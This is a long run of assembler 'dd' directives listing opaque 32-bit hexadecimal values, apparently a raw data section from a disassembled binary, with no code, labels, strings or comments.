		dd 411226BEh, 0E539B1EAh, 5A2775h, 0E70CEF8Ch, 460E01BDh
		dd 0D2C8D091h, 0B0F8EC77h, 0AD964100h, 95C155DEh, 5F1F2482h
		dd 0CB50459h, 1060813Ch, 416CD035h, 0EA2F8101h,	0B5D005D3h
		dd 0DEECCECDh, 7CF40090h, 67B7AB0h, 54000E25h, 0EE28BB50h
		dd 0C07534h, 9AEBE73Fh,	5BDCD409h, 44B3AC03h, 0E869FA7h
		dd 49A80F3Eh, 0EB145500h, 5800067Fh, 4EA17608h,	10A1E16h
		dd 62A59456h, 0EC2164C1h, 49007D14h, 30B0CC54h,	7D30785h
		dd 0D82B57EFh, 0AF1FC08Fh, 0D000F5EDh, 6E793A81h, 1E68E922h
		dd 403763A5h, 0FA0F472Ah, 0A300B360h, 464FA404h, 0F4F73059h
		dd 498B004Dh, 42817263h, 0F000858Fh, 4C9723F3h,	3E8A58h
		dd 98D7F609h, 363E656h,	9221CE03h, 0AA962B3Bh, 0F6B4A00Fh
		dd 387E7117h, 0C980BD57h, 7B14A7E8h, 110086CAh,	0C4B53B99h
		dd 5A2B08h, 36ED22D8h, 0A0F24931h, 201758h, 0BC0BC115h
		dd 76D7D4Fh, 0BD3D8C3Ah, 0B8530282h, 1F217078h,	73E60074h
		dd 0DB0E54A0h, 0C187560h, 77B7D4Eh, 0A441A853h,	7EB69033h
		dd 0E91EE813h, 0B545DD67h, 920025A0h, 61FBFEB0h, 2779880h
		dd 51583C98h, 5E603A82h, 6F587A8Ch, 8A3F7D78h, 0DC488037h
		dd 0B38F5C90h, 9A8600FAh, 12645A21h, 6E038431h,	3DF31E9Dh
		dd 3EB4B073h, 70FA0011h, 4D20FC36h, 8500749Eh, 0D8677B76h
		dd 24775263h, 8EBC0D4Fh, 46A127B6h, 20CCE911h, 3C3B6D64h
		dd 9E968006h, 3987AD2Fh, 64150099h, 0C9B1B878h,	0A83D7B2Ah
		dd 0BA468198h, 57B9A2F4h, 0CD89FCh, 0D8FF02BEh,	656F20Fh
		dd 98AE2928h, 660076FAh, 0DFA99986h, 2630925Eh,	57C8A4h
		dd 3DD0FF9Bh, 0EB3A9861h, 0B3587DBh, 0DDF0AAF4h, 7AC82FAh
		dd 0FC3CC32Eh, 848BE00Ch, 0E8120678h, 3C008FE5h, 0C57473A0h
		dd 6398133Eh, 8BE0027Fh, 4520DC1Bh, 0A69F54h, 0CC9D1074h
		dd 55B366C9h, 0D812D7E2h, 0BCC34616h, 72F198F7h, 38EF0078h
		dd 2798B4A3h, 0A001B91h, 0F3B21FAFh, 3CA87226h,	0CB0B5F51h
		dd 300F572Ah, 5E362583h, 7BC02793h, 0D303A7CDh,	62F143B0h
		dd 0C194BBB4h, 2034A029h, 1C3000E7h, 0E19C7550h, 0A4001F42h
		dd 2C7BACA9h, 0EF4C0Ch,	0AED348D9h, 39EBCB4Dh, 0F7492600h
		dd 0B07B1578h, 0C2A70068h, 0E196F11Bh, 0C0C05438h, 5C91F0D7h
		dd 586316E9h, 62DC4003h, 7FD020CBh, 0C6B8821Fh,	0FD31198Eh
		dd 0F60C3980h, 0B4C9B3DAh, 400B1D44h, 0C791D904h, 696010F3h
		dd 6DF487C1h, 9C430B77h, 4468F6C4h, 2FF0154Bh, 0B7F15A1Eh
		dd 3D171B80h, 4BCFBF3h,	241E6189h, 0D037C177h, 0A8CA46EEh
		dd 63102F01h, 5122D46Ah, 3D0EC0h, 42C217BEh, 0DD59F3Bh
		dd 129D100h, 0CF182D98h, 740001Eh, 0A6CA7EE0h, 6E02416Fh
		dd 86D2430Dh, 0AC8440D0h, 0E39D00A2h, 1C18030Ch, 873F3D11h
		dd 0CC5E80A7h, 508809FFh, 20400044h, 7CE8712Eh,	0D032972h
		dd 468CC525h, 0CBAB90F1h, 61C000CDh, 0E49EFC66h, 3500A530h
		dd 0ADC681DDh, 98E682B4h, 4A77000Bh, 3666A172h,	0F8000326h
		dd 9C110DBCh, 14715C3h,	456B65A8h, 70913578h, 4A12A358h
		dd 0BC009671h, 5C8BC1FDh, 0E0427AF0h, 7BFE0022h, 0CE455146h
		dd 6041499h, 68D936A4h,	0D5E4C4C0h, 35DECEDh, 0C72A4070h
		dd 83F076D6h, 570B9BF6h, 31F5CB6h, 0AA3B3178h, 0F30F0DEh
		dd 0A29B14BCh, 40AE9D89h, 3B04C888h, 3D05655Ah,	0B9E0B096h
		dd 2128B200h, 0E9FCA2D1h, 16750094h, 0D9099B86h, 7300F2ABh
		dd 37D477E2h, 5AFAEC7Eh, 83944324h, 7AD849A0h, 0E600B566h
		dd 5EFA87EEh, 1EA2182h,	0A20C35EDh, 0C0B660B2h,	8F1F4F57h
		dd 41A47966h, 3FC77100h, 1E4904BAh, 0BF23C570h,	737B088Bh
		dd 0EC05EB00h, 283EFC2Fh, 350301CFh, 7B4F2E3Dh,	40A3FD8h
		dd 4D5C32EAh, 7931C022h, 9828257Dh, 0DE084D1h, 5D2C5300h
		dd 550FE27h, 128916FAh,	1428C019h, 0B3001F5Ah, 0E9D7EC11h
		dd 0EE9FE2FEh, 0F66B14F8h, 0A507D88Bh, 47269923h, 1C1B503Ah
		dd 532687BDh, 73038C3Fh, 864E68B8h, 74D5F99h, 0B64C8644h
		dd 2008A6Ch, 114152C9h,	79CB67h, 942FC1D0h, 0BF73F872h
		dd 1BD11200h, 8E5A6265h, 2E94901Fh, 3B40B8FFh, 9A00EBB8h
		dd 595F30BFh, 373F1263h, 5ECB8034h, 2799A2BAh, 43450047h
		dd 3F1BF2CFh, 0A87919EDh, 61000EB0h, 0C7494FF5h, 46326C1h
		dd 395C3FB4h, 30E89D74h, 8A002F7Ch, 344091DFh, 12474283h
		dd 0C0BAC1F8h, 0B4A4A670h, 60C37500h, 0E679A5AEh, 0DEF50035h
		dd 0BC7BC70Dh, 6CB08C2Fh, 9E84B601h, 223DFC19h,	36329C40h
		dd 0C2D6E302h, 0CC8448E1h, 978D0176h, 9E4586D3h, 4E22D8FCh
		dd 0CF00D4BCh, 82EBADD5h, 1BE03C2Fh, 0B81228h, 38B88863h
		dd 0B4CC530h, 682C5D07h, 3C8176BBh, 0D9CC2412h,	0F689009Ch
		dd 73115401h, 3B00E13Ah, 8435151Ch, 1C3D8EA6h, 407CB94Bh
		dd 6514DB77h, 67005527h, 0AE24A89Eh, 53E44Fh, 0C14B7D9Dh
		dd 38E2F325h, 0D89E9C04h, 73C0D59Ah, 7CD7CDE1h,	0DA9B0785h
		dd 809DFD8Eh, 3F1D06ABh, 9288E001h, 0A6CE48Fh, 42E0A5E1h
		dd 9A4300E9h, 247CFE0Dh, 92584589h, 0A96F0005h,	1E074912h
		dd 7AF900C2h, 528346DCh, 0A300671Ch, 3BC88ADAh,	794BABh
		dd 6F0868B2h, 88763627h, 6A451300h, 96804A54h, 0F4D20004h
		dd 92911EB0h, 1500FC95h, 5249F742h, 0D52D6Ah, 0EC28031Fh
		dd 69AA8118h, 96651701h, 566E99D3h, 58B0C8h, 64A8A92h
		dd 0F1FB6B87h, 1389FD07h, 56306452h, 0F171A4Bh,	3CF6A90Eh
		dd 92AEA6E0h, 2D00BAA0h, 5D7B880Bh, 0FE56CC7h, 96C6EE0Ah
		dd 0B3A70E00h, 4F00645Bh, 4785FA4Eh, 1D3D120h, 37609534h
		dd 0D879CA70h, 0C90701F8h, 0DCB08133h, 923BA890h, 0A84B6EA6h
		dd 6957D720h, 0AF00187Eh, 0B75B491Eh, 781B1C79h, 5DBE0048h
		dd 0FEF24568h, 8F77359Ah, 21A52E00h, 72FBE686h,	0A707076Ch
		dd 40CB0CF3h, 0A8AEF25Ch, 37C7B600h, 5E98156Dh,	8A770061h
		dd 0D76E2C41h, 167D09C6h, 0CE48200h, 0FB5B729Bh, 90850084h
		dd 9679C5F9h, 1A0513F7h, 9F581EBDh, 0EA4CBC40h,	0E8DA02h
		dd 0B4D9DB6Eh, 51337DCDh, 0EE209364h, 6A160C90h, 0C5D60019h
		dd 0F80E2ABDh, 0C00C709h, 0AA2BF273h, 5064EEDDh, 24954Dh
		dd 65316D4Bh, 8C57EB7Ah, 0CB1BAF00h, 2FEEB533h,	0DF3C50C1h
		dd 3F8E679h, 6DC5888Eh,	0F7F819CBh, 1C00D530h, 5F6B1D0Fh
		dd 0B2F583h, 85F1B186h,	6CDDF608h, 0AFDFDB18h, 0A30A56A0h
		dd 0D21D8B0h, 78E0F2h, 0B7D1A6BCh, 65FD2985h, 0F3590B00h
		dd 0E3C97409h, 4C96039Dh, 0DC9C1C9Eh, 4B5E24B8h, 0EEF81B4Bh
		dd 0BEAD0600h, 560C768Fh, 4D13C01Dh, 54C7A0C0h,	0D474E9h
		dd 8B82E63Dh, 0B0AA925h, 64F52000h, 0C384DE98h,	0E4B10094h
		dd 0B4EBEC5Eh, 5D01F6C8h, 309EAC67h, 0DDD8378Eh, 9349006Fh
		dd 0DE8BD3D0h, 6D00DF8Dh, 0C565ADEEh, 0A5C043h,	14917EA7h
		dd 89663ECCh, 0E61BF509h, 924D83C7h, 878095EDh,	45F1BDh
		dd 0AA67E18Ch, 0E25840BBh, 61430400h, 7ECD2039h, 771800C6h
		dd 3065F3F8h, 551C82C4h
		dd 63879C5Dh, 37F08898h, 85C759h, 105824A7h, 1AB49072h
		dd 1C007CFAh, 37C325ECh, 3BFB4802h, 0CE03AF7Fh,	3585912Dh
		dd 0CC56B2E8h, 0AAF0272Ch, 79960600h, 43D001h, 2F119BABh
		dd 6093F9A1h, 0A407FCFAh, 0B4592606h, 0A9C62EA0h, 913700A0h
		dd 1FD1F5EAh, 330F1A5Eh, 0A0CB4C2Ch, 0D6AD20FFh, 0E1E8007Ch
		dd 0A990DCA2h, 0CA1C48F9h, 2DC038E3h, 0B1595BB9h, 0E6E003D3h
		dd 0DFD1AA86h, 1527390h, 0A8B5D91Dh, 0F2C180B9h, 836FE6B7h
		dd 7AF8073Ah, 40649C8Ah, 0BE65586Bh, 0FCA03D00h, 375C76FAh
		dd 22D60B78h, 0C400CE92h, 8AF518BDh, 0ABC58C00h, 7C5C257Eh
		dd 663500E0h, 24167F6Ah, 9030262Eh, 37CDE863h, 9A1500C2h
		dd 347C0BA5h, 0AC00D662h, 5EB916D1h, 725FA264h,	72DE00DBh
		dd 88F8D520h, 5503E1EAh, 750E62BAh, 3C1BC08Fh, 789853h
		dd 418BD1D6h, 3BDF144Ah, 60588E03h, 2755BA61h, 317E3F20h
		dd 0E39DA100h, 3E909602h, 601FF778h, 33998021h,	6798173Bh
		dd 73BA7200h, 0C62F6E47h, 0FF0E07CCh, 0E00A6A5Eh, 0B2FC97CDh
		dd 0C8C55900h, 0AF7CA454h, 57A7717h, 0BEF5B746h, 774880D0h
		dd 0A50069D3h, 9E7D95F8h, 267EDB92h, 138F256h, 0EB37D99Bh
		dd 0B0E1FC66h, 6299D1Dh, 2AE36000h, 1773B20Dh, 0B3B1E0h
		dd 0DA6E7172h, 53009A3Ah, 0C2D5D676h, 0DBC6BDh,	92381963h
		dd 0DC8D7423h, 2FCE1000h, 1AB64CA6h, 70FC90BFh,	7C890B3h
		dd 41ED2044h, 0A1B4E079h, 195C5662h, 92350132h,	0BC5BA831h
		dd 5487ECC3h, 0AC9B7DA0h, 57AD008Ah, 126A15A6h,	5B007470h
		dd 7D873758h, 0A0C9D2h,	0E782DFE1h, 92E066F2h, 6B6CD107h
		dd 61E3DA78h, 7083A03Ch, 0B9B33A22h, 7DCEC00h, 97AF19B0h
		dd 0B100A0FEh, 0B7FE40AAh, 0CD9975h, 96339BFh, 9A3BDB42h
		dd 2986F201h, 0ACBC765Ah, 0D44066C5h, 0CC25D5h,	8253500Dh
		dd 12A76911h, 0B2EDF800h, 0E030905Ch, 0E4651510h, 0B00C4ACh
		dd 5A7943CFh, 8C1FA066h, 0E4001764h, 0EF027BCCh, 82140074h
		dd 2013DB94h, 85301808h, 1996E0C1h, 21CE004Fh, 9F91FDFEh
		dd 0C600F10Ch, 83C21601h, 0EF7367h, 0BEC03CE5h,	79E48E3Eh
		dd 19177800h, 0A77BF48Dh, 314B0042h, 15FD72AEh,	0FE2CC165h
		dd 7F805499h, 407BF22Fh, 0E51A004Fh, 9366B53Ah,	0AE0FF978h
		dd 0CFE75235h, 9B014019h, 5DB37Bh, 326F7476h, 6544B11Ch
		dd 0D86EC600h, 1EADD2Dh, 11290396h, 0BA5EC8A9h,	0CA2F097h
		dd 86007003h, 52BE2C6Dh, 3A151875h, 0C61F1226h,	85F39E3Ah
		dd 81397485h, 0D4E92C60h, 70158C0h, 21DC0A79h, 27FCBB37h
		dd 80B22Eh, 0FB1F5D71h,	0F05E2631h, 3E004E79h, 0BD3901B5h
		dd 12E64D04h, 4BB01Eh, 761D6D8Ah, 5E000B83h, 0EC685B6Ch
		dd 185A28Fh, 0C0D55B9h,	60BF09C3h, 3C0FFE00h, 205D5BEAh
		dd 0AB946F11h, 9F711D5Ch, 8780FF17h, 0CBD569D2h, 41005120h
		dd 5C0DFBF6h, 0FB10244h, 0E0835375h, 9113E920h,	370A0962h
		dd 0BDA2A9FCh, 8BE3013Ch, 0A3E6A556h, 36DC630h,	0F108D22Eh
		dd 51B0E827h, 0E416EEA2h, 0F126366h, 5BC35C05h,	69ED7C80h
		dd 0F436597Ah, 6BAB1203h, 1100306Ch, 0F9106144h, 751B59Fh
		dd 2A4918C1h, 93C66011h, 2914F22Ch, 0FE466B0h, 0C1C37D4Eh
		dd 0A934AC3Ch, 188067E5h, 0DF0A6157h, 0EDE4E940h, 30089EEh
		dd 0DAF1A73Eh, 1CFDC86Bh, 8074FC41h, 8202CD91h,	3916B67Ch
		dd 0C70047CAh, 30F4E0D7h, 258E00DAh, 0CBD866AEh, 5F72A999h
		dd 3C73114h, 4DF40595h,	5C90AC8Ah, 0FEDD55h, 6A5F701Ch
		dd 441A4B69h, 0E7ED3A00h, 43CDC091h, 7DD8980Dh,	5E1B0094h
		dd 5163D7Ch, 800ED8C8h,	608C7995h, 4DB5203Ch, 78751FBEh
		dd 9A0A046Dh, 0BC00A317h, 9D008CADh, 1112865Fh,	5EBE806h
		dd 1BC1AA85h, 24A1033Eh, 0FFE9D88Fh, 0E3F33009h, 984AF41Ch
		dd 0C8443A4Ch, 85E90481h, 8048CCC5h, 0C75C0B60h, 0D253CE0Bh
		dd 0F4D5817Ah, 0F0205B7Fh, 0F89D071Fh, 40E39303h, 0CED23BF6h
		dd 0A9E6B800h, 0BF645F52h, 7CB60073h, 15B0C9B3h, 2501D774h
		dd 3BF4BCDBh, 8DFCC5CFh, 0E5F826h, 94C20F79h, 18B89330h
		dd 0D00B5D71h, 3B9C6Bh,	0FAE3A078h, 39F760DDh, 0EE70F1A3h
		dd 4A33C600h, 831F9EC4h, 0E2C1C19h, 404DD295h, 4908F5D4h
		dd 7C00B590h, 0A768BE4h, 9A50E50h, 0DA19FE30h, 0D5D49C00h
		dd 4C00D3C1h, 922C4239h, 0BD68EF7h, 7CBB5C88h, 0D0DC0800h
		dd 25009D8Dh, 0A30D9959h, 2666F71Eh, 6CE60Ah, 554B7813h
		dd 0E80FB0A0h, 363DB7h,	41F9CC69h, 0FC9200DCh, 2A01EF88h
		dd 3B88046h, 33E0C94h, 5594E982h, 183000FBh, 0ECE897C3h
		dd 0E30049C8h, 1D2256F1h, 0E0CAD3h, 0DA24D5EBh,	8FA66717h
		dd 94165500h, 0CFE939F4h, 0F887ED1Fh, 17E42D65h, 444CEEE0h
		dd 55007869h, 0FAA34EA6h, 19EC3FEh, 76C44708h, 609853F1h
		dd 7807AB4Ch, 0BD7B6264h, 5A3B4090h, 0AF60008Bh, 23AEEB70h
		dd 0EA004884h, 3449240Ah, 55CD96h, 6FDE8AC0h, 3260D00Dh
		dd 0B2E85F02h, 0E0AB4EEEh, 7403351h, 0F7E305EFh, 3F5A0A7h
		dd 421E75E9h, 731D5CFCh, 67EBEC00h, 53EE7Ah, 660A034Eh
		dd 435116B6h, 6A114700h, 7922E527h, 0EDD009Bh, 1C634178h
		dd 2C020C76h, 7F37117Eh, 0D369C0C9h, 765F4CCh, 8E30CF2Bh
		dd 0DFBB00FEh, 0AE000205h, 0C00436FDh, 0F93C88h, 5082A567h
		dd 571C6D18h, 0CBE6D3FEh, 84C4EB00h, 0DB8C31C3h, 0E8BC00CAh
		dd 2EC72F1Ch, 300CF2Ah,	0EE1256A5h, 556E1Fh, 0C1508A7Eh
		dd 0CA5A06FDh, 0BC4B7200h, 0E99EA285h, 430F33Ah, 6F23019Fh
		dd 6656D0F5h, 0D472FAB3h, 0CA80DC96h, 0FC2EA424h, 84D60583h
		dd 0EFD8D43Fh, 0B9811B80h, 0DB670054h, 658A8E80h, 7A58BBCEh
		dd 0C22409BDh, 0CACC6336h, 644445h, 6274B5E6h, 0CFD2D7Ch
		dd 0A5D04805h, 0A48D75E8h, 0ED430DDh, 7E510274h, 7AED3BBBh
		dd 3A82E0E0h, 1FCAF809h, 63B88041h, 0D750BFh, 0D65C8751h
		dd 654AD1F1h, 5772A300h, 9E6AEEF0h, 612500A2h, 0FF2AEC30h
		dd 0D23FBD63h, 0C13F0195h, 35519F5Fh, 525F830h,	89EB2DC3h
		dd 0E469C10Ch, 8C45F431h, 22D2B402h, 0C82FEF9Ch, 0DDA630h
		dd 4E9ECA64h, 75062E24h, 166C6248h, 50415A7Ch, 0F3A8166Fh
		dd 9CA738D8h, 0DB980080h, 1FBCB062h, 4FF838C2h,	5A660065h
		dd 92006359h, 0E5B3FD88h, 3AAACC7h, 8C6A24A0h, 0A0FF48E8h
		dd 9DE1062Ch, 40531A03h, 0DB2D9C9Ah, 0C98780B0h, 81B3137Ah
		dd 0BA1000DAh, 355DA9FBh, 0C0009A75h, 0C279C643h, 8A81CFh
		dd 0ADA69242h, 0EF370D19h, 6471D003h, 0C84CE6AAh, 309970D9h
		dd 25B9BACDh, 3802C0BEh, 89E6B0B6h, 1D0060B3h, 0EF171344h
		dd 95FA00A1h, 1E27510Fh, 0FD019677h, 5E22DFCCh,	0B5E8BF81h
		dd 55849A02h, 51603CB6h, 78264CD1h, 80E7021Fh, 1131BFABh
		dd 0A4037A75h, 0A2362B13h, 8465D21Eh, 0E3C00DAAh, 0AB3976h
		dd 3F61A680h, 25909B7h,	2700BC9Eh, 8849FA31h, 46CD00AFh
		dd 145341E9h, 8C025530h, 0C6ABEE11h, 2E8458BDh,	705A60h
		dd 3C3DA7CFh, 0C824B932h, 0E000EFE7h, 0BAAD46D1h, 3BB77248h
		dd 4700D8C1h, 0F3408091h, 66B8A009h, 0C372F100h, 84A8DD81h
		dd 0ADC27A9h, 9DBB9801h, 902C15h, 6130CDE0h, 3018088Ch
		dd 809021C2h, 89FE3924h, 1EBD1909h, 152420E3h, 249F720h
		dd 82ABB327h, 6F6010B1h, 0CC00D7C7h, 0D6738934h, 0F24BE76Ch
		dd 1DB30075h, 8A057848h
		dd 99005F47h, 0E78DDD46h, 154E364h, 312F115Dh, 0E22D8015h
		dd 0FB34E075h, 0CEF40057h, 0AE86C597h, 0A603BA47h, 4E83E2B7h
		dd 5874DCh, 0F35DE3D7h,	577393EDh, 41D3660Eh, 2792151h
		dd 0B3C88B74h, 0E8A7FACEh, 0A0BF00B0h, 0E48AD01Ah, 0D96EF0CDh
		dd 0FFDE8048h, 0B83CD157h, 3621008Ch, 0A9749AD2h, 0CB074D3Bh
		dd 0BE78988Ah, 67E31410h, 0ADD91DBAh, 94978312h, 0E8D87001h
		dd 361F13AEh, 0FA409817h, 0ACD8DA51h, 15ED0123h, 7C9344F2h
		dd 0C33C2060h, 94C8AF0Fh, 99622719h, 8B0AE6E0h,	4BF9003Ah
		dd 385108E1h, 6B0069F2h, 1D3CFCBEh, 59721182h, 3512D479h
		dd 2D1440DCh, 0F89A88AFh, 1D30D61Ch, 0B236803Dh, 4E6C749Bh
		dd 4C804CC7h, 6100A53Ch, 30F256ADh, 0DE00E9F1h,	0CE0FAE1Ch
		dd 0C7EE31h, 0CD3EE87Eh, 14EA3D4Ch, 9D11BC3Ch, 0E5D2D726h
		dd 0ABE0B00h, 1794173h,	66E6381Ah, 816E0EEBh, 64BC3B88h
		dd 1F4C495h, 0F8D5001Ah, 124BC674h, 66122D07h, 84905C8Dh
		dd 2E11815Dh, 0C2D1FB2h, 24302736h, 2CEE7706h, 299395h
		dd 78BC1FD1h, 0E5EB4B37h, 0A55E451Fh, 7D816084h, 16A84893h
		dd 7E4092h, 9652629h, 7139D49Eh, 34550060h, 0C66E7D53h
		dd 5B0BBFE0h, 0F078D441h, 94071DB8h, 405173CEh,	5638CBE0h
		dd 0E6860049h, 4CB52C8Bh, 0A105038Eh, 2739CF80h, 0A454F007h
		dd 11CD6411h, 0EAE0D20h, 65CAAF7h, 0D144ABA3h, 82C69DD8h
		dd 4303CC00h, 6789B226h, 0DF6802BEh, 0BB585C2Bh, 5F65F987h
		dd 597A2983h, 0C0D56F82h, 39C9E41Bh, 0DA80A954h, 7C07B1D9h
		dd 3B00110Fh, 66F635F7h, 0EBDFF8h, 8F5C55ABh, 94DBEF0Eh
		dd 2DB07607h, 5060856Eh, 383842BCh, 0AF8079EBh,	0C68D5729h
		dd 1601F57Eh, 753CD548h, 0F270DCE1h, 0AF9D07CEh, 90576827h
		dd 448A2493h, 72695800h, 770F8605h, 7ADB01Fh, 0C5520BF7h
		dd 9757B39Ah, 36B16F0h,	69E7F0Bh, 84037571h, 7AA0A785h
		dd 99605C1Bh, 8C235828h, 0BEB494D2h, 6B01713Fh,	9E68E761h
		dd 0F54C3072h, 0AA4D7D02h, 684BE8B2h, 7ABF86CCh, 0A882093Ch
		dd 5045ADA2h, 3C18C8D0h, 3C5DE0A4h, 8821960Bh, 0AA15B840h
		dd 4E444CC0h, 76FCC04h,	10E02D69h, 0BFE4A0CAh, 67283314h
		dd 0B2CF188Eh, 477EC0C4h, 17EE46CCh, 80B5F801h,	3DF8808h
		dd 0B8075370h, 0D615BBACh, 5C708B20h, 463D0F5Bh, 786CCFFCh
		dd 40FB6738h, 0DF296D2Ch, 742DA0C0h, 3061E2EBh,	0E287998h
		dd 13253446h, 9094217Eh, 38BCA3D5h, 0AF306731h,	5408817Bh
		dd 0A097AB2Eh, 8B131040h, 0C1C0348h, 0E2348CE4h, 0E1A049B3h
		dd 0E00ECBB6h, 0A05CD7A8h, 680F990Dh, 0F4A73B39h, 61598880h
		dd 0BB3B7672h, 55B54D00h, 0B3A3B97Fh, 65BE0091h, 0E9D6676Ch
		dd 13E2098Bh, 8CB1CE00h, 0C1C8EC5Fh, 0A4EB00F6h, 957B9FDEh
		dd 24002A61h, 0A5280976h, 92E501h, 18D1A1CAh, 4170C43Fh
		dd 13B85200h, 119A745Ch, 63D50629h, 0C8E72FE8h,	0AD303675h
		dd 0BD59D64Eh, 4685003Fh, 9D21DEF3h, 0D24C3777h, 3ACE00F3h
		dd 0AA54CFECh, 698D01BFh, 0F7513C2Ah, 0AED6E0A4h, 50E99501h
		dd 0E1E35D97h, 0C860A9D9h, 420514B4h, 1700EE22h, 0A134A3C1h
		dd 0C7015DBFh, 196DB9E2h, 7ED03D83h, 0E1F51CBCh, 0E8650C8Ah
		dd 4303BAA8h, 18583EDFh, 5588C03Ah, 35D30A53h, 15E7CCF3h
		dd 9629C8AFh, 0A4705704h, 55F70007h, 0B0A1DA64h, 3F008410h
		dd 939A78C0h, 246DFC95h, 0D4038Ch, 487A8EEAh, 2011834h
		dd 7FAB4EEBh, 67204737h, 0C8F3756Ch, 45428A29h,	68432765h
		dd 880B0588h, 0CD887116h, 429F8866h, 90594A88h,	282F8F12h
		dd 2142394Fh, 3C3E1427h, 2863C811h, 0EC221487h,	70BA220Ch
		dd 197AF122h, 0C9A897D3h, 8246125Fh, 259C5A3Ch,	171404AFh
		dd 80024850h, 8339E8BAh, 670F9DE9h, 80EE7B6Bh, 99B27288h
		dd 4CF90062h, 1A83CD47h, 81002011h, 0A2F5A0Eh, 0D21598h
		dd 5C80418Ah, 0D40C82E6h, 21DC3900h, 33973DCAh,	0A83F0192h
		dd 545322A9h, 0ADD8FB3Bh, 39008CAFh, 3DE3E598h,	72A30AF3h
		dd 10FA6030h, 111F9955h, 7207BC01h, 6C9ADB9Eh, 0EA10020h
		dd 8F55952Eh, 0FD02C920h, 720F0D7Eh, 2B360Ah, 56A6273Ch
		dd 0B2BE0081h, 9B75F6F5h, 0DFB04566h, 2D3EAF00h, 0E557910Fh
		dd 972E063Dh, 114DA4FCh, 0ED665A00h, 7051A306h,	0FED0259Eh
		dd 76E8F400h, 0CB01416Dh, 57C13330h, 0D8B92269h, 3D567D07h
		dd 0C62630A4h, 0DC004D83h, 95BFE3C9h, 5A2FF6h, 0CB8B756Eh
		dd 0AC77FA9Dh, 4F00EC73h, 0C43D8F82h, 1D0EC110h, 0C0BAA4EEh
		dd 5231495h, 0F0E62426h, 0F4BB8B00h, 0EC250882h, 0FF1906CAh
		dd 29EB3672h, 0B83AB107h, 0FEA05D37h, 0BCF459h,	0F1127C6Ch
		dd 0A7D90B04h, 55F6800Ch, 7683067h, 606CC609h, 523C20DFh
		dd 423D5038h, 89E58062h, 374D165Eh, 0BD0200CCh,	0E73DD96Fh
		dd 11006B88h, 18C20F19h, 3C20F4h, 53BDB7D4h, 15E574D7h
		dd 1F912200h, 52400B44h, 4E9F0061h, 424759FFh, 6800C5C1h
		dd 0F4A0AEE6h, 282FD2Bh, 6E921A57h, 0BE80194Fh,	0E8AAFFF7h
		dd 7B249A0Eh, 5BBBA7B5h, 22BD4161h, 0FA58074h, 5C0D71BCh
		dd 0DA420340h, 3100FEF7h, 0B0F18495h, 70763BDDh, 93390F08h
		dd 29E27E5Fh, 9C80A021h, 1BE6347Fh, 8E9CCD00h, 0E1AB4070h
		dd 383CF681h, 32BE8DD2h, 9FFB680h, 97CD3830h, 9EBCBCA0h
		dd 485F4B00h, 1C2775B4h, 72C0009Ah, 19E9ED8Ch, 5C90E796h
		dd 8FB0C506h, 115599h, 0C8435883h, 24115C06h, 0F6B3A001h
		dd 0CF8889C3h, 4B6860DEh, 190913Dh, 0B55F3E1Fh,	0E8F85062h
		dd 9D00DC5Eh, 932113C1h, 7EA93029h, 2A6800B7h, 51B194D3h
		dd 0EA00D25Ch, 87F099FFh, 1F8BF50Ch, 7DC5E679h,	0A3F90100h
		dd 9FA22D0Ah, 0D49C1406h, 10048Eh, 44FA0511h, 99213C51h
		dd 805B4638h, 0ABB4CAE4h, 749ECh, 8973AD26h, 0CD128F04h
		dd 8C561400h, 0D1BB35FDh, 0CC7C81h, 197305F6h, 0D4AE0350h
		dd 760EDCA0h, 468422h, 3ADB5AF9h, 166D4330h, 805DFE3Bh
		dd 5CC61995h, 7ACFB1B4h, 6BC400E2h, 0BF6A531Ah,	0E00FD7Fh
		dd 4063E490h, 38E3DF3Dh, 7B00B40Ah, 1EC75707h, 283C663Ch
		dd 52C3F6Ch, 4FA793F8h,	5FED9600h, 2A3ABAAAh, 0E445C2h
		dd 388BD78Fh, 3BFB32A2h, 103B1A78h, 417B0724h, 71F3C06Dh
		dd 0D266C87Dh, 0E137B43h, 6C5E33B8h, 3C678E80h,	9C0CACAAh
		dd 10726D27h, 9F780FECh, 5760AF3Bh, 0E13E2C16h,	6F651000h
		dd 9B92B3B6h, 0C0C124C9h, 549E00ACh, 0E021BBE2h, 0D6643D00h
		dd 42F2DBADh, 0BA1A00FBh, 0AF7EF8D8h, 3C00B6C5h, 352AED86h
		dd 18909C59h, 38205FE8h, 260939E3h, 813BC0E6h, 63B7C190h
		dd 0F24F4A00h, 93D9DD3Dh, 84006797h, 7E3B52B1h,	106160EDh
		dd 2AF38883h, 1E969E01h, 14D5991Ah, 76C1AC60h, 0E6E7127Ah
		dd 70901515h, 58724D02h, 20601667h, 0C109323Bh,	838935h
		dd 7F60519Ch, 133D016Fh, 0BB4F9A10h, 82006414h,	2FC9B000h
		dd 4B4DAD12h, 41990011h, 640A3351h, 7000E7A8h, 13BBF98h
		dd 98232562h, 0D0D8058Bh, 0EE58AFD6h, 0E0ED8E00h, 92CD77h
		dd 42F36F1Dh, 46259C4Eh, 0C73C1F01h, 96DB7D06h,	5E94E0h
		dd 0FC8BA63Dh, 92EC341Dh, 0BC7A3300h, 3629FFEEh, 0C520496h
		dd 805998A8h, 0F3167248h, 0E3B7D00h, 3CCB5A25h,	0D28000C2h
		dd 0AF12D879h, 2B00CA54h, 8D2AE546h, 7A148252h,	0D1A91C4Dh
		dd 88287Ch, 0A43648E6h
		dd 0F2A6FF13h, 0A8F81528h, 54D52F03h, 0B51EE5B4h, 90860580h
		dd 0F54500ADh, 9A44212Dh, 0AA90F348h, 1CB43Fh, 66863898h
		dd 186E36h, 9239A22Eh, 23934A32h, 7AB7D107h, 81594D67h
		dd 0E205D2E3h, 583460h,	0FAE92F0Eh, 3C357606h, 0E1027DF4h
		dd 50A9D794h, 0F066E320h, 3174539h, 0ABE07C18h,	86C80A90h
		dd 0F6006980h, 63C6DD48h, 54A4DE7h, 9A3E0314h, 8A9B809Ch
		dd 0EE0B921Bh, 0E1ED5BEh, 73A21904h, 0E0DA94E8h, 36FA0015h
		dd 22B589AAh, 0C6007B9Dh, 0D4B14608h, 795EE24h,	64E5A83h
		dd 10A18745h, 0C8DF1533h, 0B574C00h, 0BC1EC48Eh, 3E650350h
		dd 71AFCA5Eh, 0CFBD17B8h, 0FAD2F72Eh, 9E912500h, 1DB8BB2Ch
		dd 9F5FB6B2h, 0A33940C8h, 335C4660h, 7D80BA04h,	0B0C0AEE3h
		dd 5A828Ch, 6DB66872h, 51A8DC9Ch, 286B693Ch, 910FB02Fh
		dd 403822E9h, 0C49BF735h, 8F9F0524h, 801F705Fh,	1B98F98Ah
